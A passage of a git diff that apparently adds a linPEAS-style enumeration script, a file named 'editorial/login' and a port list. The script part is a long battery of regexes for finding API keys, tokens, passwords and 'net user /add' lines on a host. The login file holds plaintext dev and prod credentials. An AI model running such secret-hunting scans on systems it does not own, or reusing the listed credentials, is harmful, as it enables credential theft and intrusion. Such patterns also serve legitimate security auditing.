+ search_for_regex "Twitter Oauth" "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"
+ search_for_regex "Twitter Secret Key" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"
+ search_for_regex "Typeform API Key" "tfp_[a-z0-9_\.=\-]{59}"
+ search_for_regex "URLScan API Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]"
+ search_for_regex "Yandex Access Token" "(t1\.[A-Z0-9a-z_-]+[=]{0,2}\.[A-Z0-9a-z_-]{86}[=]{0,2})"
+ search_for_regex "Yandex API Key" "(AQVN[A-Za-z0-9_\-]{35,38})"
+ search_for_regex "Web3 API Key" "(web3[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9_=\-]+\.[A-Za-z0-9_=\-]+\.?[A-Za-z0-9_.+/=\-]*)['\"]" 1
+ echo ''
+
+ print_2title "Searching Misc"
+ search_for_regex "Generic Secret" "[sS][eE][cC][rR][eE][tT].*['\"][0-9a-zA-Z]{32,45}['\"]"
+ search_for_regex "PHP defined password" "define ?\(['\"](\w*pass|\w*pwd|\w*user|\w*datab)"
+ search_for_regex "Simple Passwords" "passw.*[=:].+"
+ search_for_regex "Generic API tokens search (A-C)" "(access_key|access_token|account_sid|admin_email|admin_pass|admin_user|adzerk_api_key|algolia_admin_key|algolia_api_key| algolia_search_key|alias_pass|alicloud_access_key|alicloud_secret_key|amazon_bucket_name|amazon_secret_access_key| amazonaws|anaconda_token|android_docs_deploy_token|ansible_vault_password|aos_key|aos_sec| api_key|api_key_secret|api_key_sid|api_secret|apiary_api_key|apigw_access_token|api.googlemaps|AIza|apidocs| apikey|apiSecret|app_bucket_perm|appclientsecret|app_debug|app_id|appkey|appkeysecret|app_key|app_log_level|app_report_token_key| app_secret|app_token|apple_id_password|application_key|appsecret|appspot|argos_token|artifactory_key|artifacts_aws_access_key_id| artifacts_aws_secret_access_key|artifacts_bucket|artifacts_key|artifacts_secret|assistant_iam_apikey|auth0_api_clientsecret| auth0_client_secret|auth_token|authorizationToken|author_email_addr|author_npm_api_key|authsecret|awsaccesskeyid|aws_access| aws_access_key|aws_access_key_id|aws_bucket|aws_config_accesskeyid|aws_key|aws_secret|aws_secret_access_key|awssecretkey| aws_secret_key|aws_secrets|aws_ses_access_key_id|aws_ses_secret_access_key|aws_token|awscn_access_key_id|awscn_secret_access_key| AWSSecretKey|b2_app_key|b2_bucket|bashrc password|bintray_api_key|bintray_apikey|bintray_gpg_password|bintray_key| bintray_token|bintraykey|bluemix_api_key|bluemix_auth|bluemix_pass|bluemix_pass_prod|bluemix_password|bluemix_pwd|bluemix_username brackets_repo_oauth_token|browser_stack_access_key|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id| bucketeer_aws_secret_access_key|built_branch_deploy_key|bundlesize_github_token|bx_password|bx_username|cache_driver| cache_s3_secret_key|cargo_token|cattle_access_key|cattle_agent_instance_auth|cattle_secret_key|censys_secret|certificate_password| cf_password|cheverny_token|chrome_client_secret|chrome_refresh_token|ci_deploy_password|ci_project_url|ci_registry_user| ci_server_name|ci_user_token|claimr_database|claimr_db|claimr_superuser|claimr_token|cli_e2e_cma_token|client_secret| client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key| cloudant_archived_database|cloudant_audited_database|cloudant_database|cloudant_instance|cloudant_order_database| cloudant_parsed_database|cloudant_password|cloudant_processed_database|cloudant_service_database| cloudflare_api_key|cloudflare_auth_email|cloudflare_auth_key|cloudflare_email|cloudinary_api_secret|cloudinary_name| cloudinary_url|cloudinary_url_staging|clu_repo_url|clu_ssh_private_key_base64|cn_access_key_id|cn_secret_access_key| cocoapods_trunk_email|cocoapods_trunk_token|codacy_project_token|codeclimate_repo_token|codecov_token|coding_token| conekta_apikey|conn.login|connectionstring|consumerkey|consumer_key|consumer_secret|contentful_access_token| contentful_cma_test_token|contentful_integration_management_token|contentful_integration_management_token| contentful_management_api_access_token|contentful_management_api_access_token_new|contentful_php_management_test_token| contentful_test_org_cma_token|contentful_v2_access_token|conversation_password|conversation_username|cos_secrets| coveralls_api_token|coveralls_repo_token|coveralls_token|coverity_scan_token|credentials| cypress_record_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (D-H)" "(danger_github_api_token|database_host|database_name|database_password|database_port|database_schema_test| database_user|database_username|datadog_api_key|datadog_app_key|db_connection|db_database|db_host|db_password| db_pw|db_server|db_user|db_username|dbpasswd|dbpassword|dbuser|ddg_test_email|ddg_test_email_pw|ddgc_github_token| deploy_password|deploy_secure|deploy_token|deploy_user|dgpg_passphrase|digitalocean_access_token| digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd| docker_password|docker_postgres_url|docker_token|dockerhub_password|dockerhubpassword|doordash_auth_token| dot-files|dotfiles|dropbox_oauth_bearer|droplet_travis_password|dsonar_login|dsonar_projectkey|dynamoaccesskeyid| dynamosecretaccesskey|elastic_cloud_auth|elastica_host|elastica_port|elasticsearch_password|encryption_key| encryption_password|end_user_password|env_github_oauth_token|env_heroku_api_key|env_key|env_secret|env_secret_access_key| env_sonatype_password|eureka_awssecretkey|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey|exp_password| file_password|firebase_api_json|firebase_api_token|firebase_key|firebase_project_develop|firebase_token|firefox_secret| flask_secret_key|flickr_api_key|flickr_api_secret|fossa_api_key|ftp_host|ftp_login|ftp_password|ftp_pw|ftp_user|ftp_username| gcloud_bucket|gcloud_project|gcloud_service_key|gcr_password|gcs_bucket|gh_api_key|gh_email|gh_next_oauth_client_secret| gh_next_unstable_oauth_client_id|gh_next_unstable_oauth_client_secret|gh_oauth_client_secret|gh_oauth_token|gh_repo_token| gh_token|gh_unstable_oauth_client_secret|ghb_token|ghost_api_key|git_author_email|git_author_name|git_committer_email| git_committer_name|git_email|git_name|git_token|github_access_token|github_api_key|github_api_token|github_auth|github_auth_token| github_auth_token|github_client_secret|github_deploy_hb_doc_pass|github_deployment_token|github_hunter_token|github_hunter_username| github_key|github_oauth|github_oauth_token|github_oauth_token|github_password|github_pwd|github_release_token|github_repo| github_token|github_tokens|gitlab_user_email|gogs_password|google_account_type|google_client_email|google_client_id|google_client_secret| google_maps_api_key|google_private_key|gpg_key_name|gpg_keyname|gpg_ownertrust|gpg_passphrase|gpg_private_key|gpg_secret_keys| gradle_publish_key|gradle_publish_secret|gradle_signing_key_id|gradle_signing_password|gren_github_token|grgit_user|hab_auth_token| hab_key|hb_codesign_gpg_pass|hb_codesign_key_pass|heroku_api_key|heroku_email|heroku_token|hockeyapp_token|homebrew_github_api_token| hub_dxia2_password)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (I-R)" "(ij_repo_password|ij_repo_username|index_name|integration_test_api_key|integration_test_appid|internal_secrets| ios_docs_deploy_token|itest_gh_token|jdbc_databaseurl|jdbc_host|jdbc:mysql|jwt_secret|kafka_admin_url|kafka_instance_name|kafka_rest_url| keystore_pass|kovan_private_key|kubecfg_s3_path|kubeconfig|kxoltsn3vogdop92m|leanplum_key|lektor_deploy_password|lektor_deploy_username| lighthouse_api_key|linkedin_client_secretorlottie_s3_api_key|linux_signing_key|ll_publish_url|ll_shared_key|looker_test_runner_client_secret| lottie_happo_api_key|lottie_happo_secret_key|lottie_s3_secret_key|lottie_upload_cert_key_password|lottie_upload_cert_key_store_password| mail_password|mailchimp_api_key|mailchimp_key|mailer_password|mailgun_api_key|mailgun_apikey|mailgun_password|mailgun_priv_key| mailgun_pub_apikey|mailgun_pub_key|mailgun_secret_api_key|manage_key|manage_secret|management_token|managementapiaccesstoken| manifest_app_token|manifest_app_url|mapbox_access_token|mapbox_api_token|mapbox_aws_access_key_id|mapbox_aws_secret_access_key| mapboxaccesstoken|mg_api_key|mg_public_api_key|mh_apikey|mh_password|mile_zero_key|minio_access_key|minio_secret_key|multi_bob_sid| multi_connect_sid|multi_disconnect_sid|multi_workflow_sid|multi_workspace_sid|my_secret_env|mysql_database|mysql_hostname|mysql_password| mysql_root_password|mysql_user|mysql_username|mysqlmasteruser|mysqlsecret|nativeevents|netlify_api_key|new_relic_beta_token|nexus_password| nexuspassword|ngrok_auth_token|ngrok_token|node_env|node_pre_gyp_accesskeyid|node_pre_gyp_github_token|node_pre_gyp_secretaccesskey| non_token|now_token|npm_api_key|npm_api_token|npm_auth_token|npm_email|npm_password|npm_secret_key|npm_token|nuget_api_key|nuget_apikey| nuget_key|numbers_service_pass|oauth_token|object_storage_password|object_storage_region_name|object_store_bucket|object_store_creds| oc_pass|octest_app_password|octest_app_username|octest_password|ofta_key|ofta_region|ofta_secret|okta_client_token|okta_oauth2_client_secret| okta_oauth2_clientsecret|onesignal_api_key|onesignal_user_auth_key|open_whisk_key|openwhisk_key|org_gradle_project_sonatype_nexus_password| org_project_gradle_sonatype_nexus_password|os_auth_url|os_password|ossrh_jira_password|ossrh_pass|ossrh_password|ossrh_secret| ossrh_username|packagecloud_token|pagerduty_apikey|parse_js_key|passwordtravis|paypal_client_secret|percy_project|percy_token|personal_key| personal_secret|pg_database|pg_host|places_api_key|places_apikey|plotly_apikey|plugin_password|postgresql_db|postgresql_pass| postgres_env_postgres_db|postgres_env_postgres_password|preferred_username|pring_mail_username|private_signing_password|prod_access_key_id| prod_password|prod_secret_key|project_config|publish_access|publish_key|publish_secret|pushover_token|pypi_passowrd|qiita_token| quip_token|rabbitmq_password|randrmusicapiaccesstoken|redis_stunnel_urls|rediscloud_url|refresh_token|registry_pass|registry_secure| release_gh_token|release_token|reporting_webdav_pwd|reporting_webdav_url|repotoken|rest_api_key|rinkeby_private_key|ropsten_private_key| route53_access_key_id|rtd_key_pass|rtd_store_pass|rubygems_auth_token)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Generic API tokens search (S-Z)" "(s3_access_key|s3_access_key_id|s3_bucket_name_app_logs|s3_bucket_name_assets|s3_external_3_amazonaws_com|s3_key| s3_key_app_logs|s3_key_assets|s3_secret_app_logs|s3_secret_assets|s3_secret_key|s3_user_secret|sacloud_access_token| sacloud_access_token_secret|sacloud_api|salesforce_bulk_test_password|salesforce_bulk_test_security_token| sandbox_access_token|sandbox_aws_access_key_id|sandbox_aws_secret_access_key|sauce_access_key|scrutinizer_token|sdr_token|secret_0| secret_1|secret_10|secret_11|secret_2|secret_3|secret_4|secret_5|secret_6|secret_7|secret_8|secret_9|secret_key_base|secretaccesskey| secret_key_base|segment_api_key|selion_log_level_dev|selion_selenium_host|sendgrid|sendgrid_api_key|sendgrid_key|sendgrid_password|sendgrid_user| sendgrid_username|sendwithus_key|sentry_auth_token|sentry_default_org|sentry_endpoint|sentry_secret|sentry_key|service_account_secret|ses_access_key| ses_secret_key|setdstaccesskey|setdstsecretkey|setsecretkey|signing_key|signing_key_password|signing_key_secret|signing_key_sid|slash_developer_space| slash_developer_space_key|slate_user_email|snoowrap_client_secret|snoowrap_password|snoowrap_refresh_token|snyk_api_token|snyk_token| socrata_app_token|socrata_password|sonar_organization_key|sonar_project_key|sonar_token|sonatype_gpg_key_name|sonatype_gpg_passphrase| sonatype_nexus_password|sonatype_pass|sonatype_password|sonatype_token_password|sonatype_token_user|sonatypepassword|soundcloud_client_secret| soundcloud_password|spaces_access_key_id|spaces_secret_access_key|spotify_api_access_token|spotify_api_client_secret|spring_mail_password|sqsaccesskey| sqssecretkey|square_reader_sdk_repository_password|srcclr_api_token|sshpass|ssmtp_config|staging_base_url_runscope|star_test_aws_access_key_id| star_test_bucket|star_test_location|star_test_secret_access_key|starship_account_sid|starship_auth_token|stormpath_api_key_id|stormpath_api_key_secret| strip_publishable_key|strip_secret_key|stripe_private|stripe_public|surge_login|surge_token|svn_pass|tesco_api_key|test_github_token| test_test|tester_keys_password|thera_oss_access_key|token_core_java|travis_access_token|travis_api_token|travis_branch|travis_com_token|travis_e2e_token| travis_gh_token|travis_pull_request|travis_secure_env_vars|travis_token|trex_client_token|trex_okta_client_token|twilio_api_key|twilio_api_secret| twilio_chat_account_api_service|twilio_configuration_sid|twilio_sid|twilio_token|twine_password|twitter_consumer_key|twitter_consumer_secret|twitteroauthaccesssecret| twitteroauthaccesstoken|unity_password|unity_serial|urban_key|urban_master_secret|urban_secret|us_east_1_elb_amazonaws_com|use_ssh| user_assets_access_key_id|user_assets_secret_access_key|usertravis|v_sfdc_client_secret|v_sfdc_password|vip_github_build_repo_deploy_key|vip_github_deploy_key| vip_github_deploy_key_pass|virustotal_apikey|visual_recognition_api_key|vscetoken|wakatime_api_key|watson_conversation_password|watson_device_password| watson_password|widget_basic_password|widget_basic_password_2|widget_basic_password_3|widget_basic_password_4|widget_basic_password_5|widget_fb_password| widget_fb_password_2|widget_fb_password_3|widget_test_server|wincert_password|wordpress_db_password|wordpress_db_user|wpjm_phpunit_google_geocode_api_key| wporg_password|wpt_db_password|wpt_db_user|wpt_prepare_dir|wpt_report_api_key|wpt_ssh_connect|wpt_ssh_private_key_base64|www_googleapis_com| yangshun_gh_password|yangshun_gh_token|yt_account_client_secret|yt_account_refresh_token|yt_api_key|yt_client_secret|yt_partner_client_secret| yt_partner_refresh_token|yt_server_api_key|zensonatypepassword|zhuliang_gh_token|zopim_account_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]"
+ search_for_regex "Net user add" "net user .+ /add"
+ echo ''
+
+
+else
+ echo "Regexes to search for API keys aren't activated, use param '-r' "
+fi
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
diff --git a/editorial/login b/editorial/login
new file mode 100644
index 0000000..24651dd
--- /dev/null
+++ b/editorial/login
@@ -0,0 +1,2 @@
+dev:dev080217_devAPI!@
+prod:080217_Producti0n_2023!@
diff --git a/editorial/ports.txt b/editorial/ports.txt
new file mode 100644
index 0000000..e92eddd
--- /dev/null
+++ b/editorial/ports.txt
@@ -0,0 +1,65536 @@
+0
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+288
+289
+290
+291
+292
+293
+294
+295
+296
+297
+298
+299
+300
+301
+302
+303
+304
+305
+306
+307
+308
+309
+310
+311
+312
+313
+314
+315
+316
+317
+318
+319
+320
+321
+322
+323
+324
+325
+326
+327
+328
+329
+330
+331
+332
+333
+334
+335
+336
+337
+338
+339
+340
+341
+342
+343
+344
+345
+346
+347
+348
+349
+350
+351
+352
+353
+354
+355
+356
+357
+358
+359
+360
+361
+362
+363
+364
+365
+366
+367
+368
+369
+370
+371
+372
+373
+374
+375
+376
+377
+378
+379
+380
+381
+382
+383
+384
+385
+386
+387
+388
+389
+390
+391
+392
+393
+394
+395
+396
+397
+398
+399
+400
+401
+402
+403
+404
+405
+406
+407
+408
+409
+410
+411
+412
+413
+414
+415
+416
+417
+418
+419
+420
+421
+422
+423
+424
+425
+426
+427
+428
+429
+430
+431
+432
+433
+434
+435
+436
+437
+438
+439
+440
+441
+442
+443
+444
+445
+446
+447
+448
+449
+450
+451
+452
+453
+454
+455
+456
+457
+458
+459
+460
+461
+462
+463
+464
+465
+466
+467
+468
+469
+470
+471
+472
+473
+474
+475
+476
+477
+478
+479
+480
+481
+482
+483
+484
+485
+486
+487
+488
+489
+490
+491
+492
+493
+494
+495
+496
+497
+498
+499
+500
+501
+502
+503
+504
+505
+506
+507
+508
+509
+510
+511
+512
+513
+514
+515
+516
+517
+518
+519
+520
+521
+522
+523
+524
+525
+526
+527
+528
+529
+530
+531
+532
+533
+534
+535
+536
+537
+538
+539
+540
+541
+542
+543
+544
+545
+546
+547
+548
+549
+550
+551
+552
+553
+554
+555
+556
+557
+558
+559
+560
+561
+562
+563
+564
+565
+566
+567
+568
+569
+570
+571
+572
+573
+574
+575
+576
+577
+578
+579
+580
+581
+582
+583
+584
+585
+586
+587
+588
+589
+590
+591
+592
+593
+594
+595
+596
+597
+598
+599
+600
+601
+602
+603
+604
+605
+606
+607
+608
+609
+610
+611
+612
+613
+614
+615
+616
+617
+618
+619
+620
+621
+622
+623
+624
+625
+626
+627
+628
+629
+630
+631
+632
+633
+634
+635
+636
+637
+638
+639
+640
+641
+642
+643
+644
+645
+646
+647
+648
+649
+650
+651
+652
+653
+654
+655
+656
+657
+658
+659
+660
+661
+662
+663
+664
+665
+666
+667
+668
+669
+670
+671
+672
+673
+674
+675
+676
+677
+678
+679
+680
+681
+682
+683
+684
+685
+686
+687
+688
+689
+690
+691
+692
+693
+694
+695
+696
+697
+698
+699
+700
+701
+702
+703
+704
+705
+706
+707
+708
+709
+710
+711
+712
+713
+714
+715
+716
+717
+718
+719
+720
+721
+722
+723
+724
+725
+726
+727
+728
+729
+730
+731
+732
+733
+734
+735
+736
+737
+738
+739
+740
+741
+742
+743
+744
+745
+746
+747
+748
+749
+750
+751
+752
+753
+754
+755
+756
+757
+758
+759
+760
+761
+762
+763
+764
+765
+766
+767
+768
+769
+770
+771
+772
+773
+774
+775
+776
+777
+778
+779
+780
+781
+782
+783
+784
+785
+786
+787
+788
+789
+790
+791
+792
+793
+794
+795
+796
+797
+798
+799
+800
+801
+802
+803
+804
+805
+806
+807
+808
+809
+810
+811
+812
+813
+814
+815
+816
+817
+818
+819
+820
+821
+822
+823
+824
+825
+826
+827
+828
+829
+830
+831
+832
+833
+834
+835
+836
+837
+838
+839
+840
+841
+842
+843
+844
+845
+846
+847
+848
+849
+850
+851
+852
+853
+854
+855
+856
+857
+858
+859
+860
+861
+862
+863
+864
+865
+866
+867
+868
+869
+870
+871
+872
+873
+874
+875
+876
+877
+878
+879
+880
+881
+882
+883
+884
+885
+886
+887
+888
+889
+890
+891
+892
+893
+894
+895
+896
+897
+898
+899
+900
+901
+902
+903
+904
+905
+906
+907
+908
+909
+910
+911
+912
+913
+914
+915
+916
+917
+918
+919
+920
+921
+922
+923
+924
+925
+926
+927
+928
+929
+930
+931
+932
+933
+934
+935
+936
+937
+938
+939
+940
+941
+942
+943
+944
+945
+946
+947
+948
+949
+950
+951
+952
+953
+954
+955
+956
+957
+958
+959
+960
+961
+962
+963
+964
+965
+966
+967
+968
+969
+970
+971
+972
+973
+974
+975
+976
+977
+978
+979
+980
+981
+982
+983
+984
+985
+986
+987
+988
+989
+990
+991
+992
+993
+994
+995
+996
+997
+998
+999
+1000
+1001
+1002
+1003
+1004
+1005
+1006
+1007
+1008
+1009
+1010
+1011
+1012
+1013
+1014
+1015
+1016
+1017
+1018
+1019
+1020
+1021
+1022
+1023
+1024
+1025
+1026
+1027
+1028
+1029
+1030
+1031
+1032
+1033
+1034
+1035
+1036
+1037
+1038
+1039
+1040
+1041
+1042
+1043
+1044
+1045
+1046
+1047
+1048
+1049
+1050
+1051
+1052
+1053
+1054
+1055
+1056
+1057
+1058
+1059
+1060
+1061
+1062
+1063
+1064
+1065
+1066
+1067
+1068
+1069
+1070
+1071
+1072
+1073
+1074
+1075
+1076
+1077
+1078
+1079
+1080
+1081
+1082
+1083
+1084
+1085
+1086
+1087
+1088
+1089
+1090
+1091
+1092
+1093
+1094
+1095
+1096
+1097
+1098
+1099
+1100
+1101
+1102
+1103
+1104
+1105
+1106
+1107
+1108
+1109
+1110
+1111
+1112
+1113
+1114
+1115
+1116
+1117
+1118
+1119
+1120
+1121
+1122
+1123
+1124
+1125
+1126
+1127
+1128
+1129
+1130
+1131
+1132
+1133
+1134
+1135
+1136
+1137
+1138
+1139
+1140
+1141
+1142
+1143
+1144
+1145
+1146
+1147
+1148
+1149
+1150
+1151
+1152
+1153
+1154
+1155
+1156
+1157
+1158
+1159
+1160
+1161
+1162
+1163
+1164
+1165
+1166
+1167
+1168
+1169
+1170
+1171
+1172
+1173
+1174
+1175
+1176
+1177
+1178
+1179
+1180
+1181
+1182
+1183
+1184
+1185
+1186
+1187
+1188
+1189
+1190
+1191
+1192
+1193
+1194
+1195
+1196
+1197
+1198
+1199
+1200
+1201
+1202
+1203
+1204
+1205
+1206
+1207
+1208
+1209
+1210
+1211
+1212
+1213
+1214
+1215
+1216
+1217
+1218
+1219
+1220
+1221
+1222
+1223
+1224
+1225
+1226
+1227
+1228
+1229
+1230
+1231
+1232
+1233
+1234
+1235
+1236
+1237
+1238
+1239
+1240
+1241
+1242
+1243
+1244
+1245
+1246
+1247
+1248
+1249
+1250
+1251
+1252
+1253
+1254
+1255
+1256
+1257
+1258
+1259
+1260
+1261
+1262
+1263
+1264
+1265
+1266
+1267
+1268
+1269
+1270
+1271
+1272
+1273
+1274
+1275
+1276
+1277
+1278
+1279
+1280
+1281
+1282
+1283
+1284
+1285
+1286
+1287
+1288
+1289
+1290
+1291
+1292
+1293
+1294
+1295
+1296
+1297
+1298
+1299
+1300
+1301
+1302
+1303
+1304
+1305
+1306
+1307
+1308
+1309
+1310
+1311
+1312
+1313
+1314
+1315
+1316
+1317
+1318
+1319
+1320
+1321
+1322
+1323
+1324
+1325
+1326
+1327
+1328
+1329
+1330
+1331
+1332
+1333
+1334
+1335
+1336
+1337
+1338
+1339
+1340
+1341
+1342
+1343
+1344
+1345
+1346
+1347
+1348
+1349
+1350
+1351
+1352
+1353
+1354
+1355
+1356
+1357
+1358
+1359
+1360
+1361
+1362
+1363
+1364
+1365
+1366
+1367
+1368
+1369
+1370
+1371
+1372
+1373
+1374
+1375
+1376
+1377
+1378
+1379
+1380
+1381
+1382
+1383
+1384
+1385
+1386
+1387
+1388
+1389
+1390
+1391
+1392
+1393
+1394
+1395
+1396
+1397
+1398
+1399
+1400
+1401
+1402
+1403
+1404
+1405
+1406
+1407
+1408
+1409
+1410
+1411
+1412
+1413
+1414
+1415
+1416
+1417
+1418
+1419
+1420
+1421
+1422
+1423
+1424
+1425
+1426
+1427
+1428
+1429
+1430
+1431
+1432
+1433
+1434
+1435
+1436
+1437
+1438
+1439
+1440
+1441
+1442
+1443
+1444
+1445
+1446
+1447
+1448
+1449
+1450
+1451
+1452
+1453
+1454
+1455
+1456
+1457
+1458
+1459
+1460
+1461
+1462
+1463
+1464
+1465
+1466
+1467
+1468
+1469
+1470
+1471
+1472
+1473
+1474
+1475
+1476
+1477
+1478
+1479
+1480
+1481
+1482
+1483
+1484
+1485
+1486
+1487
+1488
+1489
+1490
+1491
+1492
+1493
+1494
+1495
+1496
+1497
+1498
+1499
+1500
+1501
+1502
+1503
+1504
+1505
+1506
+1507
+1508
+1509
+1510
+1511
+1512
+1513
+1514
+1515
+1516
+1517
+1518
+1519
+1520
+1521
+1522
+1523
+1524
+1525
+1526
+1527
+1528
+1529
+1530
+1531
+1532
+1533
+1534
+1535
+1536
+1537
+1538
+1539
+1540
+1541
+1542
+1543
+1544
+1545
+1546
+1547
+1548
+1549
+1550
+1551
+1552
+1553
+1554
+1555
+1556
+1557
+1558
+1559
+1560
+1561
+1562
+1563
+1564
+1565
+1566
+1567
+1568
+1569
+1570
+1571
+1572
+1573
+1574
+1575
+1576
+1577
+1578
+1579
+1580
+1581
+1582
+1583
+1584
+1585
+1586
+1587
+1588
+1589
+1590
+1591
+1592
+1593
+1594
+1595
+1596
+1597
+1598
+1599
+1600
+1601
+1602
+1603
+1604
+1605
+1606
+1607
+1608
+1609
+1610
+1611
+1612
+1613
+1614
+1615
+1616
+1617
+1618
+1619
+1620
+1621
+1622
+1623
+1624
+1625
+1626
+1627
+1628
+1629
+1630
+1631
+1632
+1633
+1634
+1635
+1636
+1637
+1638
+1639
+1640
+1641
+1642
+1643
+1644
+1645
+1646
+1647
+1648
+1649
+1650
+1651
+1652
+1653
+1654
+1655
+1656
+1657
+1658
+1659
+1660
+1661
+1662
+1663
+1664
+1665
+1666
+1667
+1668
+1669
+1670
+1671
+1672
+1673
+1674
+1675
+1676
+1677
+1678
+1679
+1680
+1681
+1682
+1683
+1684
+1685
+1686
+1687
+1688
+1689
+1690
+1691
+1692
+1693
+1694
+1695
+1696
+1697
+1698
+1699
+1700
+1701
+1702
+1703
+1704
+1705
+1706
+1707
+1708
+1709
+1710
+1711
+1712
+1713
+1714
+1715
+1716
+1717
+1718
+1719
+1720
+1721
+1722
+1723
+1724
+1725
+1726
+1727
+1728
+1729
+1730
+1731
+1732
+1733
+1734
+1735
+1736
+1737
+1738
+1739
+1740
+1741
+1742
+1743
+1744
+1745
+1746
+1747
+1748
+1749
+1750
+1751
+1752
+1753
+1754
+1755
+1756
+1757
+1758
+1759
+1760
+1761
+1762
+1763
+1764
+1765
+1766
+1767
+1768
+1769
+1770
+1771
+1772
+1773
+1774
+1775
+1776
+1777
+1778
+1779
+1780
+1781
+1782
+1783
+1784
+1785
+1786
+1787
+1788
+1789
+1790
+1791
+1792
+1793
+1794
+1795
+1796
+1797
+1798
+1799
+1800
+1801
+1802
+1803
+1804
+1805
+1806
+1807
+1808
+1809
+1810
+1811
+1812
+1813
+1814
+1815
+1816
+1817
+1818
+1819
+1820
+1821
+1822
+1823
+1824
+1825
+1826
+1827
+1828
+1829
+1830
+1831
+1832
+1833
+1834
+1835
+1836
+1837
+1838
+1839
+1840
+1841
+1842
+1843
+1844
+1845
+1846
+1847
+1848
+1849
+1850
+1851
+1852
+1853
+1854
+1855
+1856
+1857
+1858
+1859
+1860
+1861
+1862
+1863
+1864
+1865
+1866
+1867
+1868
+1869
+1870
+1871
+1872
+1873
+1874
+1875
+1876
+1877
+1878
+1879
+1880
+1881
+1882
+1883
+1884
+1885
+1886
+1887
+1888
+1889
+1890
+1891
+1892
+1893
+1894
+1895
+1896
+1897
+1898
+1899
+1900
+1901
+1902
+1903
+1904
+1905
+1906
+1907
+1908
+1909
+1910
+1911
+1912
+1913
+1914
+1915
+1916
+1917
+1918
+1919
+1920
+1921
+1922
+1923
+1924
+1925
+1926
+1927
+1928
+1929
+1930
+1931
+1932
+1933
+1934
+1935
+1936
+1937
+1938
+1939
+1940
+1941
+1942
+1943
+1944
+1945
+1946
+1947
+1948
+1949
+1950
+1951
+1952
+1953
+1954
+1955
+1956
+1957
+1958
+1959
+1960
+1961
+1962
+1963
+1964
+1965
+1966
+1967
+1968
+1969
+1970
+1971
+1972
+1973
+1974
+1975
+1976
+1977
+1978
+1979
+1980
+1981
+1982
+1983
+1984
+1985
+1986
+1987
+1988
+1989
+1990
+1991
+1992
+1993
+1994
+1995
+1996
+1997
+1998
+1999
+2000
+2001
+2002
+2003
+2004
+2005
+2006
+2007
+2008
+2009
+2010
+2011
+2012
+2013
+2014
+2015
+2016
+2017
+2018
+2019
+2020
+2021
+2022
+2023
+2024
+2025
+2026
+2027
+2028
+2029
+2030
+2031
+2032
+2033
+2034
+2035
+2036
+2037
+2038
+2039
+2040
+2041
+2042
+2043
+2044
+2045
+2046
+2047
+2048
+2049
+2050
+2051
+2052
+2053
+2054
+2055
+2056
+2057
+2058
+2059
+2060
+2061
+2062
+2063
+2064
+2065
+2066
+2067
+2068
+2069
+2070
+2071
+2072
+2073
+2074
+2075
+2076
+2077
+2078
+2079
+2080
+2081
+2082
+2083
+2084
+2085
+2086
+2087
+2088
+2089
+2090
+2091
+2092
+2093
+2094
+2095
+2096
+2097
+2098
+2099
+2100
+2101
+2102
+2103
+2104
+2105
+2106
+2107
+2108
+2109
+2110
+2111
+2112
+2113
+2114
+2115
+2116
+2117
+2118
+2119
+2120
+2121
+2122
+2123
+2124
+2125
+2126
+2127
+2128
+2129
+2130
+2131
+2132
+2133
+2134
+2135
+2136
+2137
+2138
+2139
+2140
+2141
+2142
+2143
+2144
+2145
+2146
+2147
+2148
+2149
+2150
+2151
+2152
+2153
+2154
+2155
+2156
+2157
+2158
+2159
+2160
+2161
+2162
+2163
+2164
+2165
